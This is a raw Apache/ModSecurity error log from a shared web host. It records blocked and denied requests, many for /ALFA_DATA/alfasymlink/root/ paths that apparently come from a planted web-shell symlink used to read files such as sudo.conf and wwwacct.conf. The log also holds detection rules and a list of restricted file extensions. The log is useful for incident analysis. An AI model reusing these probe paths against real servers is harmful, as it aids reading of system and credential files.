[Tue Oct 27 11:40:12.868561 2026] [security2:error] [pid 3258789:tid 3258789] [client 45.45.154.47:42990] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF3HVf4r4CZeQot_KKyAAAABg"]
[Tue Oct 27 11:40:13.339678 2026] [security2:error] [pid 3258930:tid 3258930] [client 91.124.201.184:53090] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/beta/bullet_bots.log"] [unique_id "auDF3cVDsspnBBo_YCYY8AAAAEc"]
[Tue Oct 27 11:40:13.339958 2026] [security2:error] [pid 3258930:tid 3258930] [client 91.124.201.184:53090] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/beta/bullet_bots.log"] [unique_id "auDF3cVDsspnBBo_YCYY8AAAAEc"]
[Tue Oct 27 11:40:13.340821 2026] [security2:error] [pid 3258930:tid 3258930] [client 91.124.201.184:53090] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF3cVDsspnBBo_YCYY8AAAAEc"]
[Tue Oct 27 11:40:17.934150 2026] [security2:error] [pid 3258908:tid 3258908] [client 213.110.68.3:37714] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/asound.conf"] [unique_id "auDF4XMWyVPCfBWbOkonCgAAACY"]
[Tue Oct 27 11:40:17.934607 2026] [security2:error] [pid 3258908:tid 3258908] [client 213.110.68.3:37714] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/asound.conf"] [unique_id "auDF4XMWyVPCfBWbOkonCgAAACY"]
[Tue Oct 27 11:40:17.935294 2026] [security2:error] [pid 3258908:tid 3258908] [client 213.110.68.3:37714] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF4XMWyVPCfBWbOkonCgAAACY"]
[Tue Oct 27 11:40:18.149314 2026] [core:error] [pid 3259049:tid 3259049] (13)Permission denied: [client 98.82.66.172:31748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/efi-framebuffer/unbind
[Tue Oct 27 11:40:18.260018 2026] [security2:error] [pid 3258896:tid 3258896] [client 108.171.48.120:51812] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /betaok/phpmailer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/betaok/PHPMailer/composer.json"] [unique_id "auDF4k_NdsRkHuvNcpZx4wAAAB8"]
[Tue Oct 27 11:40:18.260364 2026] [security2:error] [pid 3258896:tid 3258896] [client 108.171.48.120:51812] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/betaok/PHPMailer/composer.json"] [unique_id "auDF4k_NdsRkHuvNcpZx4wAAAB8"]
[Tue Oct 27 11:40:18.261296 2026] [security2:error] [pid 3258896:tid 3258896] [client 108.171.48.120:51812] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF4k_NdsRkHuvNcpZx4wAAAB8"]
[Tue Oct 27 11:40:19.040385 2026] [security2:error] [pid 3258798:tid 3258798] [client 108.171.49.77:45012] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo.conf"] [unique_id "auDF41oecnS6QkeoWVQ0UgAAACk"]
[Tue Oct 27 11:40:19.040648 2026] [security2:error] [pid 3258798:tid 3258798] [client 108.171.49.77:45012] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo.conf"] [unique_id "auDF41oecnS6QkeoWVQ0UgAAACk"]
[Tue Oct 27 11:40:19.041361 2026] [security2:error] [pid 3258798:tid 3258798] [client 108.171.49.77:45012] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF41oecnS6QkeoWVQ0UgAAACk"]
[Tue Oct 27 11:40:19.323408 2026] [security2:error] [pid 3258813:tid 3258813] [client 64.84.105.12:49874] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "auDF4zfQyWWXyDsybbY32wAAADY"]
[Tue Oct 27 11:40:19.323697 2026] [security2:error] [pid 3258813:tid 3258813] [client 64.84.105.12:49874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "auDF4zfQyWWXyDsybbY32wAAADY"]
[Tue Oct 27 11:40:19.324345 2026] [security2:error] [pid 3258813:tid 3258813] [client 64.84.105.12:49874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF4zfQyWWXyDsybbY32wAAADY"]
[Tue Oct 27 11:40:22.853415 2026] [security2:error] [pid 3257227:tid 3257227] [client 107.172.76.131:60544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDF29y4AMyS2GkzpJ8W7gAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:40:22.853485 2026] [security2:error] [pid 3257227:tid 3257227] [client 107.172.76.131:60544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDF29y4AMyS2GkzpJ8W7gAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:40:38.166902 2026] [ssl:error] [pid 3258789:tid 3258789] (70014)End of file found: [client 34.202.88.37:28004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:40:42.160372 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 44.214.19.8:63248] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:40:46.300676 2026] [core:error] [pid 3258930:tid 3258930] (13)Permission denied: [client 3.232.39.98:63212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/virtio1/driver/uevent
[Tue Oct 27 11:40:47.085069 2026] [core:error] [pid 3258811:tid 3258811] (13)Permission denied: [client 185.191.171.17:36392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/19/net/rpc/auth.unix.ip/flush
[Tue Oct 27 11:40:58.179699 2026] [ssl:error] [pid 3258831:tid 3258831] (70014)End of file found: [client 52.3.26.180:14376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:41:06.274499 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 54.235.158.162:13027] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:41:10.292827 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 54.156.248.117:55847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:41:14.230933 2026] [core:error] [pid 3258886:tid 3258886] (13)Permission denied: [client 3.221.50.71:58831] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:04.0/rescan
[Tue Oct 27 11:41:17.685273 2026] [core:error] [pid 3258974:tid 3258974] (13)Permission denied: [client 85.208.96.197:60214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/destroy_by_rcu
[Tue Oct 27 11:41:26.138536 2026] [ssl:error] [pid 3258930:tid 3258930] (70014)End of file found: [client 3.208.146.193:34772] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:41:34.458936 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 54.235.172.96:45091] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:41:39.146370 2026] [security2:error] [pid 3258393:tid 3258393] [client 107.172.76.131:60584] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDGJoZyT1RKV95p3itFuQAAABw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 11:41:39.146429 2026] [security2:error] [pid 3258393:tid 3258393] [client 107.172.76.131:60584] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDGJoZyT1RKV95p3itFuQAAABw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 11:41:46.148429 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 3.90.73.206:61971] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:41:46.521419 2026] [security2:error] [pid 3258396:tid 3258396] [client 107.172.76.131:60566] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDGLj9KMKxRNt886tqSmQAAACA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:41:46.521480 2026] [security2:error] [pid 3258396:tid 3258396] [client 107.172.76.131:60566] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDGLj9KMKxRNt886tqSmQAAACA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:41:54.150325 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 52.0.63.151:28590] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:42:02.379984 2026] [security2:error] [pid 3258845:tid 3258845] [client 107.172.76.131:60606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDGPh4zCyYqPJF4nDQtjAAAAFY"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:42:02.380050 2026] [security2:error] [pid 3258845:tid 3258845] [client 107.172.76.131:60606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDGPh4zCyYqPJF4nDQtjAAAAFY"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:42:06.330151 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 54.162.69.192:51606] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:42:10.896013 2026] [security2:error] [pid 3257227:tid 3257227] [client 107.172.76.131:60544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDGRty4AMyS2GkzpJ8W9gAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:42:10.896070 2026] [security2:error] [pid 3257227:tid 3257227] [client 107.172.76.131:60544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDGRty4AMyS2GkzpJ8W9gAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:42:26.130135 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 100.28.133.214:41515] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:42:28.520190 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 185.191.171.3:39068] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:42:42.323426 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 3.209.174.110:5770] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:42:50.224123 2026] [core:error] [pid 3258793:tid 3258793] (13)Permission denied: [client 3.209.174.110:23267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS0/close_delay
[Tue Oct 27 11:42:55.380861 2026] [security2:error] [pid 3259053:tid 3259053] [client 85.208.96.199:56018] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/lad/"] [unique_id "auDGf2McJcPfyX-6F2mASgAAABE"]
[Tue Oct 27 11:42:55.380916 2026] [security2:error] [pid 3259053:tid 3259053] [client 85.208.96.199:56018] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/lad/"] [unique_id "auDGf2McJcPfyX-6F2mASgAAABE"]
[Tue Oct 27 11:43:10.241323 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 3.230.69.161:44800] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:43:22.168938 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 52.70.123.241:40314] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:43:30.215714 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 52.44.229.124:51067] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:43:34.151892 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 52.0.105.244:13953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:43:38.185067 2026] [core:error] [pid 3258793:tid 3258793] (13)Permission denied: [client 3.220.148.166:24822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory19/node0/memory16/subsystem/uevent
[Tue Oct 27 11:43:46.145335 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 54.235.125.129:47694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:43:54.239805 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 3.213.106.226:16891] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:43:58.148228 2026] [core:error] [pid 3258811:tid 3258811] (13)Permission denied: [client 18.214.186.220:41500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/rom
[Tue Oct 27 11:44:14.195012 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 44.197.76.210:45301] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:44:18.206799 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 23.23.180.225:53932] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:44:42.138423 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 52.6.97.88:8589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:44:46.225985 2026] [ssl:error] [pid 3250097:tid 3250097] (5)Input/output error: [client 35.174.141.243:11029] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:44:47.418866 2026] [security2:error] [pid 3258831:tid 3258831] [client 107.172.76.131:60624] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDG4x1ezMjs54DvsGYl3QAAAEg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:44:47.418929 2026] [security2:error] [pid 3258831:tid 3258831] [client 107.172.76.131:60624] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDG4x1ezMjs54DvsGYl3QAAAEg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:44:52.823414 2026] [ssl:error] [pid 3258842:tid 3258842] (70014)End of file found: [client 85.208.96.194:20458] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:44:53.602224 2026] [security2:error] [pid 3258845:tid 3258845] [client 43.165.186.188:60192] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "auDG9R4zCyYqPJF4nDQtkwAAAFY"]
[Tue Oct 27 11:44:58.140180 2026] [ssl:error] [pid 3258842:tid 3258842] (70014)End of file found: [client 54.209.100.30:29774] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:45:06.144305 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 52.3.104.214:55543] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:45:18.164654 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 184.72.95.195:49356] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:45:24.682318 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 85.208.96.207:32646] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:45:30.187280 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 98.83.177.42:16800] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:45:34.131220 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 98.82.66.172:32431] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:45:46.135349 2026] [ssl:error] [pid 3258842:tid 3258842] (70014)End of file found: [client 50.16.248.61:49909] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:45:50.148374 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 34.203.111.15:27938] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:45:54.881382 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 85.208.96.195:17264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:45:59.221192 2026] [authz_core:error] [pid 3240715:tid 3240715] [client 109.105.209.83:39658] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 11:46:06.195609 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 184.72.95.195:23701] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:46:10.129490 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 54.204.62.163:13358] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:46:18.147471 2026] [ssl:error] [pid 3258831:tid 3258831] (70014)End of file found: [client 52.3.156.186:54630] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:46:22.144724 2026] [ssl:error] [pid 3257234:tid 3257234] (5)Input/output error: [client 54.156.124.2:40823] AH02013: coalesce failed to read from data bucket
